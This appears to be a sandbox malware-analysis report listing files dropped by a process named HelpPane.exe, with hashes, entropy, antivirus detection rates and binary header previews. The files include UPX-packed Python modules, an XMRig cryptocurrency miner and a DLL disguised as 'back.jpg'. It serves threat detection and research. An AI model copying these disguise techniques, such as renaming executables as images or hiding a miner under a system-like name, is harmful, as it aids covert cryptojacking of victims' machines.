SHA-512:	13EBCB83F478C859CA808003933769B84290E108648B69F33043653263C5B4BD37ED5CA8D521B46A1D9122EB232F7E5D05A25E16F250D5573CF85CD5CDEFB2EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......qz.Y5...5...5....Tz.7...+Iy.6...+Io.8.....".4...+I..1.....'.>...5.......+Ih.$...+I~.4...+I}.4...Rich5...................PE..L...:..[...........!.........P............... ....z..........................p.......................................%..PJ..h#....... ..h...................Po..........................................H...........................................UPX0....................................UPX1.............\|..................@....rsrc....P... ...P..................@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\select.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	9216
Entropy (8bit):	7.003407892450472
Encrypted:	false
SSDEEP:	192:qhogHS4TaqZXRQKKXYVEvySc3IFaNJhLkwcud2DH9VwGfctX:qhLS4TaqxhfCHc38aNJawcudoD7U
MD5:	57EB00056AC8C38CD4F3153FB9507F13
SHA1:	DDEE8E74FCC81B6301145F27C0F1CCF4B9185E1C
SHA-256:	7B90EC138AC8415D9B747612063D19147FEC2B1E99DE97C3B5636E8CA40B346E
SHA-512:	05F7EF6BD065D7DB3F41DFA95187FA40A14F58FA5D4705F2DF5982DB18EEB6D4E93C473D05932436BF645E76E0B23532867011E92EF953EC247B55648ED9C6EF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i)...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...z...zRich...z........PE..L...5>CX...........!..... .......P..pq...`................................................@.............................H...................................H.......................................P}..H...........................................UPX0.....P..............................UPX1..... ...`......................@...UPX2................."..............@..............................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\servicemanager.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.2228399102917615
Encrypted:	false
SSDEEP:	384:FVtYwprbL7fLBtdYzKNg13ZOPaNJawcudoD7UfMX:vawBbLFYzKNg1plnbcuyD7UfMX
MD5:	6A95BCF45E4BE23CC2634EF5BAD17660
SHA1:	7D13B791588CB800C2ADD75FF8E74C3C493A8143
SHA-256:	60DA4B4E628B7DC1115615128AC554AEB29B50A61629AD5AEEB5CC9D2BD86202
SHA-512:	D3C80B025647444F42D42E82CAD50C4383728F7F8C9E16AA9D87450CA864B0B97B5F8F47E80328A4A2B67CE7D06C9A8F1DAE8C5B3C798DE1B2A50164161E69C8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........o....K...K...K...K...K...K...K...K...KR..K...K...K...K...K...K...K...K...K...K...K...KRich...K........................PE..L......[...........!.....@........................}.....................................................................\...........................................................................h...H...........................................UPX0....................................UPX1.....@.......4..................@....rsrc................8..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\unicodedata.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	181760
Entropy (8bit):	7.989160583257678
Encrypted:	false
SSDEEP:	3072:Rfe2dO8KvTdjKGssSXwgtXZT32qenyxHBKs//4wd3RP29sZ6lI883out:Rfe2bKvEw+k2kw/4wZRPS3coS
MD5:	9A465CFAA788E29E7B1366C012EBC75C
SHA1:	10D9C49BB6652D9B04E17608D9ED35B036112647
SHA-256:	35C84D824DB175DD71046806A59BC711021ABCE04698FA304B1E2A9855E50A9C
SHA-512:	31BEE259C78CEB1E4F5C52E7B2CBD0EB62A071FC9C748DF47AB824E383EFDC3B218168700341B96D139DABFB3E4D7644341F22E52982B7C7F135A9E35B300B00
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......{H..?).?).?).6QE.=).6QS.1).6QT.=).6QC.8).?)..).6QY.>).6QB.>).6QA.>).Rich?).................PE..L...6>CX...........!......................................................................@.............................T...................................,.......................................x...H...........................................UPX0....................................UPX1................................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\win32api.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	7.794879575971907
Encrypted:	false
SSDEEP:	768:etKTLIw2eRBsqBvKddE/wW68vEvfW2qmSOyinbcuyD7Uqmx:DCeLrGderDH2FXyinouy8qmx
MD5:	42C475231F4835BB1A5F94B0D3DA4520
SHA1:	FCFAE296DD10C92D973A57D61BBF5C0F4A15ED6B
SHA-256:	87CEEB1B7586DB730F48988A07018F9C8AF57934FF7F173A869542207F46B0F1
SHA-512:	D1A699B8497E8843F990F6F719A904A7751FE2A9404CB195BE2D94341728A7372CD93D379B576E6031980E1DA53F2336805C6BF59E799B63565CD63D4931C02A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[-..L...L...L.......L.......L.......L...J..L...L..UM.......L.......L.......L..Rich.L..................PE..L......[...........!.............p.. ...............................................................................P.......X...........X...............................................................H....................B..@...................UPX0.....p..............................UPX1.............~..................@....rsrc...............................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\win32event.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	6.799438399701252
Encrypted:	false
SSDEEP:	192:jNxmpzSvHU53Uon53eXqY1K/CjrELQc432Xq0FaNJhLkwcud2DH9VwGfctLj/t:Xmp2/UR95aP1pgEc432XBaNJawcudoDU
MD5:	796306BE7A1ABCFFB8853EE9CEB5BEAE
SHA1:	93762CF53958A3A99B674986FCF3C53C489133ED
SHA-256:	26E6D883E9E61BF872425526A9B8C7BB229C3B9D2F82BB3C0BF500660DBE1995
SHA-512:	5919A837FA1FCAEA91B14D02DA306928D5E523E4591DCA290422C9EB9BE15F2EE626A8379F5C953F2B08E7A6B2CD67618652B9EFA9ACE8ABD47A8BD7CD8C2F64
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........k..{8..{8..{8..8..{8..8..{8..8..{8 ..8..{8..z8..{8..8..{8..8..{8..8..{8Rich..{8................PE..L...T..[...........!.....0..............................................................................................P...`...\.......`...........................................................h...H...........................................UPX0....................................UPX1.....0......."..................@....rsrc................&..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\win32evtlog.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	19968
Entropy (8bit):	7.436093769968754
Encrypted:	false
SSDEEP:	384:Wo5FgP/m1xaGAONAt4ZvFqQggg3LgsAWUh31lA2W1waNJawcudoD7UGwGS:WmuP+TOONp5UQ/Zs8FlAfnbcuyD7UGwX
MD5:	317360BE68901D11F3D02AF1C151A4DC
SHA1:	570BF03BE1A737CF3D0CF3FC8E77261CF64E2051
SHA-256:	AC9C5C4BAA4DE19BDDF55313F29182F26EB80312C31266413672C61424A5C6E0
SHA-512:	25C25C23DD4FE1957CDFAD833D4570553C2627775008F3939525B6A3D1892F8B6CB7A9F20D454166338DF4DFC8A98306A1160016AE4CB2E9464944945AFA0A82
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........E..i+..i+..i+.E&...i+..;...i+..;...i+..;...i+.%...i+..i*.hi+..;...i+..;...i+..;...i+..;...i+.Rich.i+.................PE..L......[...........!.....P...................0...............................@.......................................4..T....3..P....0......................L5.......................................!..H.......................@...................UPX0....................................UPX1.....P.......D..................@....rsrc........0.......H..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\win32service.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	18432
Entropy (8bit):	7.513143648749714
Encrypted:	false
SSDEEP:	384:DvSTTJQxdZ3goCVdvSbw66apC1aNJawcudoD7U46:LSTT+1KF1onbcuyD7U46
MD5:	F23A62491BD945C050E3E1D13909E9E7
SHA1:	B8DAC4E00163533157A17E3B56D05E049A2375A2
SHA-256:	E52B5532A6764AAAE67DB557412B3F77EBDC8A14A72771A1C6414A83BB3FC15C
SHA-512:	52200CF9687752DB43BBAE703192C841694D5BD976FA56C0F25E0478CFB97681BC77677C1A8907167612DDF9FE6A561945FBEB0180022670AF97BF41B5B11766
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........[..[..[.....Z..E.-.Z..E.;.V..E.+.]...!s.\..[.....E.<.^..E.*.Z..E.,.Z..E.).Z..Rich[..........PE..L...q..[...........!.....@..........................................................................................8...T...............................................................................H...........................................UPX0....................................UPX1.....@.......>..................@....rsrc................B..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	1905664
Entropy (8bit):	7.9235088812144
Encrypted:	false
SSDEEP:	49152:jeXVwyagUSymDH29F4+rthFTo6YZfnH8:0VKgUSymDH29ttzToX1nc
MD5:	13BDD9CD9F7E51746172996262B5A873
SHA1:	3834F8179ABD7A827E927505F3C226AC8BBCF3EE
SHA-256:	4BF737B29FF521BC263EB1F2C1C5EA04B47470CCCD1BEAE245D98DEF389929BD
SHA-512:	49879918505D042312F20B2FC8310A8C4A58AA266ED1AB05E0481F7E11385DA0920CF9D756F842EB98E4394F14725385B74A99B38FC8A60222FA4CC873CB8040
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe, Author: Joe Security
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 75%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....\.....................`...0>...Z..@>...[...@..........................`[............... ...................... X.x....][.<.....[..]....................................................Z.....................................................UPX0.....0>.............................UPX1.........@>.....................@....rsrc....`....[..`..................@...3.94.UPX!....E.G...@.`.Z.....$Z.$/.w.......&...'....1.f.=.@9....MZ..,......($..#...th.....82..tJ......$.,./,......+.l..Ho..~B.......:..6....L.=Dc..tm....-<h....f..<2...u..?PEl..u..Q....-l..~?....j..x.......]...........K".v.g?w...k+...yt`,........o..7>,. ..D$...............7......b..0.{..,.~...[U......WV.U.S..\|.0~....+..).b.........@....................5.o.E.....d....x....l0.9..9...3....o._..........=...u...;.v.f...R..0..`.lm...--...I...X/(......9J9..~?.v...&+.. P.kSn.l......LJ...

C:\Users\user\AppData\Local\Temp\_MEI63722\Crypto.Cipher._AES.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	7.553130526678379
Encrypted:	false
SSDEEP:	384:50Q1C9jViLl7hDB6n/PtHU2wr8gj93KqmilaNJawcudoD7U:dC8LU/PBU8itClnbcuyD7U
MD5:	371397E80A55D432DA47311B8EF25317
SHA1:	71617777D6A2500D6464D7B394C8BE5F1E4E119E
SHA-256:	C1A900615C9500C46B9602C30C53F299290B03632208EF1152AF8830AB73AD17
SHA-512:	3139E2848ACF02CC8475449F213873D2C2B7196F6A55C70D2D8F8B487020387740364E5CA0AA584624D1B9B01B965146A2F0E15EEF34830C7C0ECBB8637DAE03
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........+\8.J2k.J2k.J2k.Ik.J2k...k.J2k...k.J2k...k.J2k.2.k.J2k.J3k.J2k...k.J2k...k.J2k...k.J2kRich.J2k........PE..L....4.S...........!.....@..........`...................................................................................D...........................................................................8...H...........................................UPX0....................................UPX1.....@.......:..................@...UPX2.................>..............@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\Include\pyconfig.h

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	C source, ASCII text
Category:	dropped
Size (bytes):	21321
Entropy (8bit):	5.345136937906198
Encrypted:	false
SSDEEP:	384:pGpFpaU1kgCw8r+MIP8Bj5DvVySh3awQBoerw8W+PYV0FGYfN/+:pGpFpb+IU99UShATrw8W+AKF/+
MD5:	BC185DE8B2437963368A85FDD9852951
SHA1:	1459F1428214FCCA7F203FB3A3AFF28E16EB9C1B
SHA-256:	8B130D901E0F83B55699D565F103F2F8F1B3A51712EBB4B9646EA517CC1F04D6
SHA-512:	918469D9A59FE059F3C7C93F34C8D2D07CB8A9BF5E953A1527922ED5C65FF4A2DF50BBC78ED9CE146BF3A1FB6F1763F061262FA4A937BEEEE1FEB8A99E31339E
Malicious:	false
Reputation:	unknown
Preview:	#ifndef Py_CONFIG_H.#define Py_CONFIG_H../* pyconfig.h. NOT Generated automatically by configure...This is a manually maintained version used for the Watcom,.Borland and Microsoft Visual C++ compilers. It is a.standard part of the Python distribution...WINDOWS DEFINES:.The code specific to Windows should be wrapped around one of.the following #defines..MS_WIN64 - Code specific to the MS Win64 API.MS_WIN32 - Code specific to the MS Win32 (and Win64) API (obsolete, this covers all supported APIs).MS_WINDOWS - Code specific to Windows, but all versions..MS_WINCE - Code specific to Windows CE.Py_ENABLE_SHARED - Code if the Python core is built as a DLL...Also note that neither "_M_IX86" or "_MSC_VER" should be used for.any purpose other than "Windows Intel x86 specific" and "Microsoft.compiler specific". Therefore, these should be very rare....NOTE: The following symbols are deprecated:.NT, USE_DL_EXPORT, USE_DL_IMPORT, DL_EXPORT, DL_IMPORT.MS_CORE_DLL...WIN32 is still required for the

C:\Users\user\AppData\Local\Temp\_MEI63722\Microsoft.VC90.CRT.manifest

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1050
Entropy (8bit):	5.382436822526041
Encrypted:	false
SSDEEP:	24:2dtn3mGv+zg4NnEN4XKHVJrMmV6LSWV5rcb3S:ch35+zg4i0KHVVdOmS
MD5:	BFB93876892CCA8E2AD0021585C34C8B
SHA1:	0DDE1B225C98825A09D8FF85F462571C9C862E35
SHA-256:	0D060ED7C25159B7B75F16D449963BFD639C15B3C5280BC7897403268C2B9F35
SHA-512:	FE70540B3B3FA88B32DFB2FF7406A3A9819E7862B850D871B932996BBEFFDBC70D7192D6E3196A8583B2DB756CA9CC278505AFBE585BA30EB1222D4F8BE15B7B
Malicious:	false
Reputation:	unknown
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">.. <noInheritable/>.. <assemblyIdentity name="Microsoft.VC90.CRT" processorArchitecture="x86" publicKeyToken="1fc8b3b9a1e18e3b" type="win32" version="9.0.30729.6161"/>.. <file hash="7021457b391b35606e708c69987e4b6f606609ee" hashalg="SHA1" name="msvcr90.dll"/>.. <file hash="88549dd3ce8eaa62ca8aad0e96ddd9fec2203628" hashalg="SHA1" name="msvcp90.dll"/>.. <file hash="65ef374affa5b48827e539b35b3275c201b41fc9" hashalg="SHA1" name="msvcm90.dll"/>.. <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">.. <application>.. <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>.. <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>.. <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>.. <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>.. <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>..

C:\Users\user\AppData\Local\Temp\_MEI63722\_ctypes.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	37888
Entropy (8bit):	7.848484052157707
Encrypted:	false
SSDEEP:	768:pAXLisB/qV2nQnf33sWcCRWKZac3VWw6cLA3zReukhRnbcuyD7U:pAnBi8nQf3sYToclt6cLUCRnouy8
MD5:	6CB8B560EFBC381651D2045F1571D7C8
SHA1:	15283A7A467ADB7B6D7A7182F660DD783F90E483
SHA-256:	6456FEA123E04BCEC8A8EED26160E1DF5482E69D187D3E1A0C428995472AC134
SHA-512:	CA2958095E8E08B5EF05EC9DE15B7D1EB180923A40B90356DB56A124101C96D8E745001948B89DBE9D6B9CE3C2029F7E9EAF20C73FA1D410A821D6605830BFC0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...................F.....W.....P......@..........Z.....A.....B...Rich..................PE..L...*>CX...........!............. .. ....0................................................@.........................<...........<.......................................................................H...........................................UPX0..... ..............................UPX1.........0......................@...UPX2................................@......................................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\_hashlib.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	351744
Entropy (8bit):	7.996557276168139
Encrypted:	true
SSDEEP:	6144:Xh0byJKrtKOFhjnTtMoy8gpVI/xxWo/nX0NKOzyGFmJ559Vq2SeTsRgIIGYMowwZ:2bymtjF1TtMod/xweDK7FmJ5rLVYTIGm
MD5:	EE134421FBABEB565E4F3CA721331C2E
SHA1:	4B03BDD142C6A7BB6F74ABE968C5B76B63E06059
SHA-256:	7863E1BEDFE1FFC720B67B2EB7B3491DB9D2B8E56B5574E6A40FF90336B8DAFA
SHA-512:	D27FF65B6A8BF2E5E70D2865E72EEE6930E76C2A3990428C54FC998743D3C540C5C984B5D1429E8FFBE3D160AE1F6782CD6D3CA40822F81D2052BA168595D1FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.$.>.J.>.J.>.J.7...4.J.7...1.J.7...<.J.7...3.J.>.K..J.>.J...J.7...Y.J.7...?.J.7...?.J.Rich>.J.........................PE..L....>CX...........!.....`..........@K.......`...............................p............@.........................pa..L....`..p............................a.......................................W..H...........................................UPX0....................................UPX1.....`.......X..................@...UPX2.........`.......\..............@......................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\_socket.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	22016
Entropy (8bit):	7.706254752795193
Encrypted:	false
SSDEEP:	384:CCNDRisVUlkycq27U4r0rOc606B8k4gG35aiQjgO6OPjGL2e1ua7aNJawcudoD7P:v7VUcq27Jr0rOmbwE4jGLhohnbcuyD7B
MD5:	BE47363992C7DD90019276D35FA8DA76
SHA1:	CCF7EBBE829DA08EFD95A53D4BA0C0D4938F6169
SHA-256:	BE10254B111713BEF20A13D561DE61CA3C74A34C64DDC5B10825C64AB2C46734
SHA-512:	573F9111535A9A136FCAAA5C1A16C347F7327626768D849513D69C9848406B1002DCC5B8C17A291EF2E6519587533CA806018EE471A39D330F032A9E7E635EA7
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......AV2..7\..7\..7\..O..7\..O..7\..O..7\..7]..7\..O..7\..O..7\..O..7\..O..7\.Rich.7\.........................PE..L...X>CX...........!.....P..........0.....................................................@.............................d...................................d...........................................H...........................................UPX0....................................UPX1.....P.......P..................@...UPX2.................T..............@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\_ssl.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	498688
Entropy (8bit):	7.996471896707535
Encrypted:	true
SSDEEP:	12288:FHNz5hZdNGitmdIA8byo3k4Ff9m3fTByPf6So+2RON1jjoS:P3fNTtmd2bkof43fTkR2gH
MD5:	68C3AD86E0A8833C29AD1BE10D3C025D
SHA1:	04488362814B2F3AE07C4E8DF8E45868D48B447F
SHA-256:	C236271B92A0F1D3304337F2E2444107F34D8E26272981F48C47DB347133566C
SHA-512:	BB2819D913033CC26DCD1E5CBF015DACDBF747D29C72BFD41BFE0D74BB77E51A61CF9BE4B67B6348938837125F1D0F80AF0AC33531E00CEA1585535952A22785
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........HFu.)(&.)(&.)(&.Q.&.)(&.Q.&.)(&.Q.&.)(&.)(&.)(&.))&9)(&.Q.&.)(&.Q.&.((&.Q.&.)(&.Q.&.)(&Rich.)(&................PE..L...q>CX...........!.................e....................................................@............................D............................................................................q..H...........................................UPX0....................................UPX1................................@...UPX2................................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\_win32sysloader.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	4.992693298555373
Encrypted:	false
SSDEEP:	192:t2VnGV7o5QUEZWm6Uk3fvf3X7THIL3YO+8I:tVU5QUEz6hfLTH98
MD5:	B4A567D80CCC08FB1C7FBB765847AFDA
SHA1:	B7FF2C68BA2887AAF5D029F41922E626C72B716D
SHA-256:	DBB0F9C499A710BBC8BCDE4ECC3577A6C9548262D6CE4434ED5A0708CBC787DD
SHA-512:	DDFEC25304BABE2DF55958F512F61AFD9AF88DDA499FE87931D17A9EEBF048449885A06A24BDDBC8604E11F07CED3C2ECE7F89C28290CAB5D1BF3816D22128DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......M.oC.............J.............................../........................Rich............PE..L......[...........!......................... ....;..........................`......................................P&..Z...\"..P....@..l....................P....... ..............................8!..@............ ...............................text...`........................... ..`.rdata....... ......................@..@.data........0......................@....rsrc...l....@......................@..@.reloc.......P......................@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	47107
Entropy (8bit):	6.213994198071923
Encrypted:	false
SSDEEP:	768:RDQeAoYo0BrGohy0ZarKZcgRl8+kRGdlS7q3sqqELsLizIdI9e2E:VQJw0BKnuntlkRGAB0ceO
MD5:	C84452F6F4D46DDEC4F8852FA0B1AFD0
SHA1:	CC06C71ABCEFC9B31E3C5ED043427B74A4AD778A
SHA-256:	1DE815D23E82A3A94C42F5E5AC1C5DFC690A585CA495C57D2E4A283AB4008208
SHA-512:	4BB933BB5DED0EB71EBC8ACBC9FF43A2C2EF0DEC87BC85A5E4158A16230C9C1568BF0D555B6E507D2A18ADE52298EF71DF7B9B8BDE0D159609E3FFAE6CCA4E37
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 52%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......]....S......"...8.P....... ...u...0.................................................... .....................................................................................................................................................UPX0..... ..............................UPX1.....P...0...H..................@...UPX2.................J..............@...3.94.UPX!....g.D....bOW...E...0..&../....U..S...........t?........'.........9.r.....t...'.....s.t&...$.....1....$6.].....X[]._V`..u....tG....t$lE_D$.....=..o...."....1......uG.....4....uF1..e.[^]..o.>.f..,.!.+.y..........l...............8./....fp.v..U..$........../...........O/...e..]...l.......#3f.E.f.E......m.._..;.}e.......f.t"............U.1.3-...}..~2.k......!..........7{..+...7..\|...............G.:..S.......... .\|.... ..%+.2..$...e.}......u..,(...l...'lk..dH.&'(ekp.cv/.

C:\Users\user\AppData\Local\Temp\_MEI63722\bz2.pyd

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	7.816957595202127
Encrypted:	false
SSDEEP:	768:IHCeOgq+kCitCVj5rz2Ya+r9qLYp9R9JoWnbcuyD7UiT:IHXr8CBd9NpfXxnouy8
MD5:	C9C00BC854A39E66B27787D188F9E8D7
SHA1:	21F20CF6C628B529DB4BDB853B679F9BF23590E3
SHA-256:	29520DF660A5BBD704B9106A6650A66E4F5766B904D05F97146668D41DBF5839
SHA-512:	8887B5CA542220CAC04D5A6A22A06F95DB560F4FE0F9A128CEB642ED9716ABCFFBA2146CCE682EB16C4DA3F423649A61904A73C4357D9FDBD5DDF606790199A3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......}.S.9.=K9.=K9.=K..K:.=K0..K:.=K0..K7.=K0..K;.=K0..K>.=K9.<KS.=K0..K1.=K0..K8.=K0..K8.=KRich9.=K................PE..L...?>CX...........!.................W.......p............................................@..........................p..D....p...............................q.......................................c..H...........................................UPX0....................................UPX1................................@...UPX2.........p......................@..............................................................................................................................................................................................................................................................................................................................................................................................3.94.UPX!....

C:\Users\user\AppData\Local\Temp\_MEI63722\certifi\cacert.pem

Download File

Process:	C:\Users\user\HelpPane.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	284518
Entropy (8bit):	6.05114864026174
Encrypted:	false
SSDEEP:	6144:GriCfLXd1YU58fVuKlnm5plZ0PXCRrcMBbADwYC+MslE:GrdT3YZuz5LwCRrcMije
MD5:	DD2DD543395692705F7DDA0F5E7750FA
SHA1:	40D7CE60393978A29FB0E0B1E849658E48CF7887
SHA-256:	397B833E5ACF89A2709B964401A9ACA68D24B62349B72BBE38684E586AA07A27
SHA-512:	3BA0D6AD8B6838B04FBFDEBAD20EB5544C093BA592B517AA383708A34CE2BD215DB2BF010090251674DBCFD4EDA3C44F770C9FBF314304DE918D7E59E2596CF2
Malicious:	false
Reputation:	unknown
